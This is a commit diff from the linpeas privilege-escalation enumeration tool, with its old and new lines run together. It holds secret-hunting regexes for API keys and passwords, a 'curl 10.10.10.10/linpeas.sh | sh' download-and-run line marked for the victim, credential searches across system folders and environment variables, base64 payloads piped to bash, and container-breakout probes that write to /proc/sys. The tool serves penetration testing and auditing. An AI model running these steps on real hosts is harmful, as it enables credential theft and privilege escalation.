github(.{0,20})?['"][0-9a-zA-Z]{35,40}
- name: Google API Key
regex: 'AIza[0-9A-Za-z_\-]{35}'
- name: Google Cloud Platform API Key
regex: >
(google|gcp|youtube|drive|yt)(.{0,20})?['"][AIza[0-9a-z_\-]{35}]['"]
- name: Google Drive Oauth
regex: '[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'
- name: Google Oauth Access Token
regex: 'ya29\.[0-9A-Za-z_\-]+'
- name: Heroku API Key
regex: '[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}'
- name: LinkedIn Client ID
regex: >
linkedin(.{0,20})?['"][0-9a-z]{12}['"]
- name: LinkedIn Secret Key
regex: >
linkedin(.{0,20})?['"][0-9a-z]{16}['"]
- name: Mailchamp API Key
regex: '[0-9a-f]{32}-us[0-9]{1,2}'
- name: Mailgun API Key
regex: 'key-[0-9a-zA-Z]{32}'
- name: Picatic API Key
regex: 'sk_live_[0-9a-z]{32}'
- name: Slack Token
regex: 'xox[baprs]-([0-9a-zA-Z]{10,48})?'
#- name: Slack Webhook #Not interesting
# regex: 'https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}'
- name: Stripe API Key
regex: 'k_live_[0-9a-zA-Z]{24}'
- name: Square Access Token
regex: 'sqOatp-[0-9A-Za-z_\-]{22}'
- name: Square Oauth Secret
regex: 'sq0csp-[ 0-9A-Za-z_\-]{43}'
- name: Twilio API Key
regex: 'SK[0-9a-fA-F]{32}'
- name: Twitter Client ID
regex: >
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{18,25}
- name: Twitter Oauth
regex: >
[tT][wW][iI][tT][tT][eE][rR].{0,30}['"\\s][0-9a-zA-Z]{35,44}['"\\s]
- name: Twitter Secret Key
regex: >
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{35,44}
#- name: Vault Token #False +
# regex: '[sb]\.[a-zA-Z0-9]{24}'
# Misc
- name: Misc
regexes:
- name: Basic Auth
regex: '//(.+):(.+)@'
- name: Passwords1
regex: (pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)
#- name: Passwords2
# regex: 'passwd|creden|pwd'
- name: Usernames
regex: 'username.*[=:].+'
#- name: IPs
# regex: '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
#- name: Emails # Too many false positives
# regex: '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}'

File diff suppressed because it is too large Load Diff

View File

@@ -22,7 +22,7 @@ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas
```bash ```bash
# Local network # Local network
sudo python -m SimpleHTTPServer 80 #Host sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim curl 10.10.10.10/linpeas.sh | sh #Victim
# Without curl # Without curl
@@ -101,30 +101,41 @@ By default linpeas takes around **4 mins** to complete, but It could take from *
- **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took - **-D** (Debug) - Print information about the checks that haven't discovered anything and about the time each check took
- **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks - **-d/-p/-i/-t** (Local Network Enumeration) - Linpeas can also discover and port-scan local networks
This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector. **It's recommended to use the params `-a` and `-r` if you are looking for a complete and intensive scan**.
``` ```
Enumerate and search Privilege Escalation vectors. Enumerate and search Privilege Escalation vectors.
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors. This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
-h To show this message Checks:
-q Do not show banner -o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
-s Stealth & faster (don't check some time consuming checks)
-e Perform extra enumeration -e Perform extra enumeration
-s SuperFast (don't check some time consuming checks) - Stealth mode -t Automatic network scan & Internet conectivity checks - This option writes to files
-a All checks except regexes - Noisy mode, for CTFs mainly -r Enable Regexes (this can take from some mins to hours)
-r Activate Regexes (this can take from some mins to several hours)
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
-w Wait execution between big blocks of checks
-N Do not use colours
-D Debug mode
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' -P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
-o Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list. -D Debug mode
-L Force linpeas execution.
-M Force macpeas execution. Network recon:
-t Automatic network scan & Internet conectivity checks - This option writes to files
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24 -d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139 -p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 -i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
-t Automatic network scan (host discovery and port scanning) - This option writes to files
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
Port forwarding:
-F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP
Firmware recon:
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
Misc:
-h To show this message
-w Wait execution between big blocks of checks
-L Force linpeas execution
-M Force macpeas execution
-q Do not show banner
-N Do not use colours
``` ```
## Hosts Discovery and Port Scanning ## Hosts Discovery and Port Scanning

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,49 @@
search_for_regex(){
title=$1
regex=$2
caseSensitive=$3
if [ "$caseSensitive" ]; then
i="i"
else
i=""
fi
print_3title_no_nl "Searching $title..."
if [ "$SEARCH_IN_FOLDER" ]; then
timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
else
# Search in home direcoties (usually the slowest)
timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in etc
timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in opt
timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in possible web folders (usually only 1 will exist)
timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in logs
timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in backups
timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
# Search in others folders (usually only /srv or /Applications will exist)
timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &
fi
wait
printf "\033[2K\r"
}
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
peass{REGEXES}
else
echo "Regexes to search for API keys aren't activated, use param '-r' "
fi

View File

@@ -21,33 +21,6 @@ else echo_not_found "sudo"
fi fi
echo "" echo ""
#-- SY) CVEs
print_2title "CVEs Check"
#-- SY) CVE-2021-4034
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo ""
fi
#-- SY) CVE-2021-3560
polkitVersion=$(systemctl status polkit.service 2>/dev/null | grep version | cut -d " " -f 9)
if [ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 ] || [ "$(yum list installed 2>/dev/null | grep polkit | grep -c 0.117-2)" -ge 1 ]; then
echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo ""
fi
#-- SY) CVE-2022-0847
#-- https://dirtypipe.cm4all.com/
#-- https://stackoverflow.com/a/37939589
kernelversion=$(uname -r | awk -F"-" '{print $1}')
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version beteen 5.8 and 5.17
echo "Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo ""
fi
echo ""
#--SY) USBCreator #--SY) USBCreator
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
print_2title "USBCreator" print_2title "USBCreator"
@@ -74,9 +47,10 @@ print_2title "PATH"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
if ! [ "$IAMROOT" ]; then if ! [ "$IAMROOT" ]; then
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" fi
else
echo "New path exported: $PATH" 2>/dev/null if [ "$DEBUG" ]; then
echo "New path exported: $PATH"
fi fi
echo "" echo ""
@@ -125,141 +99,3 @@ if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then
warn_exec smbutil statshares -a warn_exec smbutil statshares -a
echo "" echo ""
fi fi
#-- SY) Environment vars
print_2title "Environment"
print_info "Any private information inside environment variables?"
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
echo ""
#-- SY) Dmesg
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Searching Signature verification failed in dmesg"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
echo ""
fi
#-- SY) Kernel extensions
if [ "$MACPEAS" ]; then
print_2title "Kernel Extensions not belonging to apple"
kextstat 2>/dev/null | grep -Ev " com.apple."
print_2title "Unsigned Kernel Extensions"
macosNotSigned /Library/Extensions
macosNotSigned /System/Library/Extensions
fi
if [ "$(command -v bash 2>/dev/null)" ]; then
print_2title "Executing Linux Exploit Suggester"
print_info "https://github.com/mzet-/linux-exploit-suggester"
les_b64="peass{LES}"
echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
echo ""
fi
if [ "$(command -v perl 2>/dev/null)" ]; then
print_2title "Executing Linux Exploit Suggester 2"
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
les2_b64="peass{LES2}"
echo $les2_b64 | base64 -d | perl | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
echo ""
fi
if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then
print_2title "Brew Doctor Suggestions"
brew doctor
echo ""
fi
#-- SY) AppArmor
print_2title "Protections"
print_list "AppArmor enabled? .............. "$NC
if [ "$(command -v aa-status 2>/dev/null)" ]; then
aa-status 2>&1 | sed "s,disabled,${SED_RED},"
elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then
apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
ls -d /etc/apparmor*
else
echo_not_found "AppArmor"
fi
#-- SY) grsecurity
print_list "grsecurity present? ............ "$NC
( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
#-- SY) PaX
print_list "PaX bins present? .............. "$NC
(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
#-- SY) Execshield
print_list "Execshield enabled? ............ "$NC
(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
#-- SY) SElinux
print_list "SELinux enabled? ............... "$NC
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
#-- SY) Seccomp
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) AppArmor
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
#-- SY) AppArmor
print_list "User namespace? ................ "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
#-- SY) cgroup2
print_list "Cgroup2 enabled? ............... "$NC
([ "$(grep cgroup2 /proc/filesystems)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) Gatekeeper
if [ "$MACPEAS" ]; then
print_list "Gatekeeper enabled? .......... "$NC
(spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
print_list "sleepimage encrypted? ........ "$NC
(sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
print_list "XProtect? .................... "$NC
(system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
print_list "SIP enabled? ................. "$NC
csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
print_list "Connected to JAMF? ........... "$NC
warn_exec jamf checkJSSConnection
print_list "Connected to AD? ............. "$NC
dsconfigad -show && echo "" || echo_no
fi
#-- SY) ASLR
print_list "Is ASLR enabled? ............... "$NC
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
if [ -z "$ASLR" ]; then
echo_not_found "/proc/sys/kernel/randomize_va_space";
else
if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
echo ""
fi
#-- SY) Printer
print_list "Printer? ....................... "$NC
(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
#-- SY) Running in a virtual environment
print_list "Is this a virtual machine? ..... "$NC
hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then
detectedvirt=$(systemd-detect-virt)
if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
else
if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
fi

View File

@@ -77,7 +77,7 @@ enumerateDockerSockets() {
dockerVersion="$(echo_not_found)" dockerVersion="$(echo_not_found)"
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
SEARCHED_DOCKER_SOCKETS="1" SEARCHED_DOCKER_SOCKETS="1"
for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -n -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
if echo "$int_sock" | grep -Eq "docker"; then if echo "$int_sock" | grep -Eq "docker"; then
dock_sock="$int_sock" dock_sock="$int_sock"
@@ -137,16 +137,58 @@ checkContainerExploits() {
fi fi
} }
checkProcSysBreakouts(){ checkCreateReleaseAgent(){
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then release_agent_breakout1="Yes"; else release_agent_breakout1="No"; fi cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
do
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
release_agent_breakout2="Yes (unshare with $subsys)";
rm -rf /tmp/cgroup_3628d4
break
fi
done
}
checkProcSysBreakouts(){
dev_mounted="No"
if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
dev_mounted="Yes";
fi
proc_mounted="No"
if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
proc_mounted="Yes";
fi
run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
if ! [ "$run_unshare" = "Yes" ]; then
run_unshare="No"
fi
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
release_agent_breakout1="Yes"
else
release_agent_breakout1="No"
fi
release_agent_breakout2="No"
mkdir /tmp/cgroup_3628d4 mkdir /tmp/cgroup_3628d4
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; else release_agent_breakout2="No"; fi if [ $? -eq 0 ]; then
release_agent_breakout2="Yes";
rm -rf /tmp/cgroup_3628d4
else
mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
if [ $? -eq 0 ]; then
release_agent_breakout2="Yes";
rm -rf /tmp/cgroup_3628d4
else
checkCreateReleaseAgent
fi
fi
rm -rf /tmp/cgroup_3628d4 2>/dev/null rm -rf /tmp/cgroup_3628d4 2>/dev/null
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)" core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` || echo No)" modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)" panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)" panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)" binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
@@ -176,7 +218,7 @@ checkProcSysBreakouts(){
############################################## ##############################################
containerCheck containerCheck
print_2title "Container related tools present" print_2title "Container related tools present (if any):"
command -v docker command -v docker
command -v lxc command -v lxc
command -v rkt command -v rkt
@@ -184,8 +226,10 @@ command -v kubectl
command -v podman command -v podman
command -v runc command -v runc
print_2title "Am I Containered?" if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED" print_2title "Am I Containered?"
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
fi
print_2title "Container details" print_2title "Container details"
print_list "Is this a container? ...........$NC $containerType" print_list "Is this a container? ...........$NC $containerType"
@@ -218,7 +262,7 @@ if echo "$containerType" | grep -qi "docker"; then
print_2title "Docker Container details" print_2title "Docker Container details"
inDockerGroup inDockerGroup
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Looking and enumerating Docker Sockets\n"$NC print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
enumerateDockerSockets enumerateDockerSockets
print_list "Docker version .................$NC$dockerVersion" print_list "Docker version .................$NC$dockerVersion"
checkDockerVersionExploits checkDockerVersionExploits
@@ -226,7 +270,7 @@ if echo "$containerType" | grep -qi "docker"; then
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
if [ "$inContainer" ]; then if [ "$inContainer" ]; then
checkDockerRootless checkDockerRootless
print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
echo "" echo ""
fi fi
if df -h | grep docker; then if df -h | grep docker; then
@@ -258,8 +302,8 @@ if [ "$inContainer" ]; then
echo "" echo ""
print_2title "Container & breakout enumeration" print_2title "Container & breakout enumeration"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')" print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
if echo "$containerType" | grep -qi "docker"; then if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
fi fi
print_list "Seccomp enabled? ............... "$NC print_list "Seccomp enabled? ............... "$NC
@@ -269,7 +313,7 @@ if [ "$inContainer" ]; then
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
print_list "User proc namespace? ........... "$NC print_list "User proc namespace? ........... "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
checkContainerExploits checkContainerExploits
print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
@@ -278,33 +322,35 @@ if [ "$inContainer" ]; then
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
checkProcSysBreakouts checkProcSysBreakouts
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED}," print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
